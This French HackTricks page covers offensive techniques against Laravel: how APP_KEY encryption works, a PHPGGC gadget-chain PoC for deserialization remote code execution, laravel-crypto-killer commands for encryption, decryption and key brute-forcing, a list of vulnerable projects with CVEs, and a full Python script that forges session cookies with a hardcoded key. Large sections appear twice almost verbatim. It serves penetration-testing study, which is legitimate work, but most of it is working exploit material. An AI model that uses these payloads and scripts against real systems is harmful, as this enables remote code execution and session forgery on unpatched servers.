Laravel
Reading time: 10 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Laravel SQLInjection
Lisez des informations à ce sujet ici : https://stitcher.io/blog/unsafe-sql-functions-in-laravel
APP_KEY & Encryption internals (Laravel \u003e=5.6)
Laravel utilise AES-256-CBC (ou GCM) avec intégrité HMAC en arrière-plan (Illuminate\\Encryption\\Encrypter
).
Le texte chiffré brut qui est finalement envoyé au client est Base64 d'un objet JSON comme :
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
encrypt($value, $serialize=true)
va serialize()
le texte en clair par défaut, tandis que decrypt($payload, $unserialize=true)
va automatiquement unserialize()
la valeur décryptée. Par conséquent, tout attaquant qui connaît le secret de 32 octets APP_KEY
peut créer un objet PHP sérialisé chiffré et obtenir RCE via des méthodes magiques (__wakeup
, __destruct
, …).
Minimal PoC (framework ≥9.x):
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
Injectez la chaîne produite dans n'importe quel point de decrypt()
vulnérable (paramètre de route, cookie, session, …).
laravel-crypto-killer 🧨
laravel-crypto-killer automatise tout le processus et ajoute un mode bruteforce pratique :
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
Le script prend en charge de manière transparente à la fois les charges utiles CBC et GCM et régénère le champ HMAC/tag.
Modèles vulnérables dans le monde réel
Projet | Sink vulnérable | Chaîne de gadgets |
---|---|---|
Invoice Ninja ≤v5 (CVE-2024-55555) | /route/{hash} → decrypt($hash) | Laravel/RCE13 |
Snipe-IT ≤v6 (CVE-2024-48987) | Cookie XSRF-TOKEN lorsque Passport::withCookieSerialization() est activé | Laravel/RCE9 |
Crater (CVE-2024-55556) | SESSION_DRIVER=cookie → Cookie laravel_session | Laravel/RCE15 |
Le flux de travail d'exploitation est toujours :
- Obtenir
APP_KEY
(exemples par défaut, fuite Git, fuite config/.env ou brute-force) - Générer un gadget avec PHPGGC
laravel_crypto_killer.py encrypt …
- Livrer la charge utile via le paramètre/cookie vulnérable → RCE
Découverte de masse d'APP_KEY via brute-force de cookie
Parce que chaque réponse Laravel fraîche définit au moins 1 cookie chiffré (XSRF-TOKEN
et généralement laravel_session
), les scanners Internet publics (Shodan, Censys, …) fuient des millions de textes chiffrés qui peuvent être attaqués hors ligne.
Principales conclusions de la recherche publiée par Synacktiv (2024-2025) :
- Ensemble de données juillet 2024 » 580 k tokens, 3,99 % des clés craquées (≈23 k)
- Ensemble de données mai 2025 » 625 k tokens, 3,56 % des clés craquées
-
1 000 serveurs encore vulnérables à la CVE-2018-15133 héritée car les tokens contiennent directement des données sérialisées.
- Réutilisation massive de clés – les 10 meilleures APP_KEY sont des valeurs par défaut codées en dur livrées avec des modèles Laravel commerciaux (UltimatePOS, Invoice Ninja, XPanel, …).
L'outil Go privé nounours pousse le débit de brute-force AES-CBC/GCM à ~1,5 milliard d'essais/s, réduisant le craquage de l'ensemble de données complet à <2 minutes.
Références
- Laravel: analyse de la fuite d'APP_KEY
- laravel-crypto-killer
- PHPGGC – Chaînes de gadgets PHP génériques
- CVE-2018-15133 write-up (WithSecure)
Astuces Laravel
Mode débogage
Si Laravel est en mode débogage, vous pourrez accéder au code et aux données sensibles.
Par exemple http://127.0.0.1:8000/profiles
:
Ceci est généralement nécessaire pour exploiter d'autres CVE RCE Laravel.
.env
Laravel enregistre l'APP qu'il utilise pour chiffrer les cookies et d'autres informations d'identification dans un fichier appelé .env
qui peut être accessible en utilisant un certain chemin de traversée sous : /../.env
Laravel affichera également cette information sur la page de débogage (qui apparaît lorsque Laravel trouve une erreur et qu'elle est activée).
En utilisant la clé secrète APP_KEY de Laravel, vous pouvez déchiffrer et ré-encrypter les cookies :
Déchiffrer le cookie
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
Laravel Désérialisation RCE
Versions vulnérables : 5.5.40 et 5.6.x jusqu'à 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)
Ici, vous pouvez trouver des informations sur la vulnérabilité de désérialisation : https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/
Vous pouvez la tester et l'exploiter en utilisant https://github.com/kozmic/laravel-poc-CVE-2018-15133
Ou vous pouvez également l'exploiter avec metasploit : use unix/http/laravel_token_unserialize_exec
CVE-2021-3129
Une autre désérialisation : https://github.com/ambionics/laravel-exploits
Laravel SQLInjection
Lisez des informations à ce sujet ici : https://stitcher.io/blog/unsafe-sql-functions-in-laravel
Laravel SQLInjection
Lisez des informations à ce sujet ici : https://stitcher.io/blog/unsafe-sql-functions-in-laravel
APP_KEY & Internes de chiffrement (Laravel \u003e=5.6)
Laravel utilise AES-256-CBC (ou GCM) avec intégrité HMAC en arrière-plan (Illuminate\\Encryption\\Encrypter
).
Le texte chiffré brut qui est finalement envoyé au client est Base64 d'un objet JSON comme :
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
encrypt($value, $serialize=true)
va serialize()
le texte en clair par défaut, tandis que decrypt($payload, $unserialize=true)
va automatiquement unserialize()
la valeur décryptée. Par conséquent, tout attaquant qui connaît le secret de 32 octets APP_KEY
peut créer un objet PHP sérialisé chiffré et obtenir RCE via des méthodes magiques (__wakeup
, __destruct
, …).
Minimal PoC (framework ≥9.x):
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
Injectez la chaîne produite dans n'importe quel point de decrypt()
vulnérable (paramètre de route, cookie, session, …).
laravel-crypto-killer 🧨
laravel-crypto-killer automatise tout le processus et ajoute un mode bruteforce pratique :
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
Le script prend en charge de manière transparente à la fois les charges utiles CBC et GCM et régénère le champ HMAC/tag.
Modèles vulnérables dans le monde réel
Projet | Sink vulnérable | Chaîne de gadgets |
---|---|---|
Invoice Ninja ≤v5 (CVE-2024-55555) | /route/{hash} → decrypt($hash) | Laravel/RCE13 |
Snipe-IT ≤v6 (CVE-2024-48987) | Cookie XSRF-TOKEN lorsque Passport::withCookieSerialization() est activé | Laravel/RCE9 |
Crater (CVE-2024-55556) | SESSION_DRIVER=cookie → Cookie laravel_session | Laravel/RCE15 |
Le flux d'exploitation est toujours :
- Obtenir
APP_KEY
(exemples par défaut, fuite Git, fuite config/.env ou brute-force) - Générer un gadget avec PHPGGC
laravel_crypto_killer.py encrypt …
- Livrer la charge utile via le paramètre/cookie vulnérable → RCE
Découverte de masse d'APP_KEY via brute-force de cookie
Parce que chaque réponse Laravel fraîche définit au moins 1 cookie chiffré (XSRF-TOKEN
et généralement laravel_session
), les scanners Internet publics (Shodan, Censys, …) fuient des millions de textes chiffrés qui peuvent être attaqués hors ligne.
Principales conclusions de la recherche publiée par Synacktiv (2024-2025) :
- Ensemble de données juillet 2024 » 580 k tokens, 3,99 % des clés craquées (≈23 k)
- Ensemble de données mai 2025 » 625 k tokens, 3,56 % des clés craquées
-
1 000 serveurs toujours vulnérables à la CVE-2018-15133 héritée car les tokens contiennent directement des données sérialisées.
- Réutilisation massive de clés – les 10 meilleures APP_KEY sont des valeurs par défaut codées en dur livrées avec des modèles Laravel commerciaux (UltimatePOS, Invoice Ninja, XPanel, …).
L'outil Go privé nounours pousse le débit de brute-force AES-CBC/GCM à ~1,5 milliard d'essais/s, réduisant le craquage de l'ensemble de données complet à <2 minutes.
Références
- Laravel : analyse de la fuite d'APP_KEY
- laravel-crypto-killer
- PHPGGC – Chaînes de gadgets PHP génériques
- CVE-2018-15133 write-up (WithSecure)
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.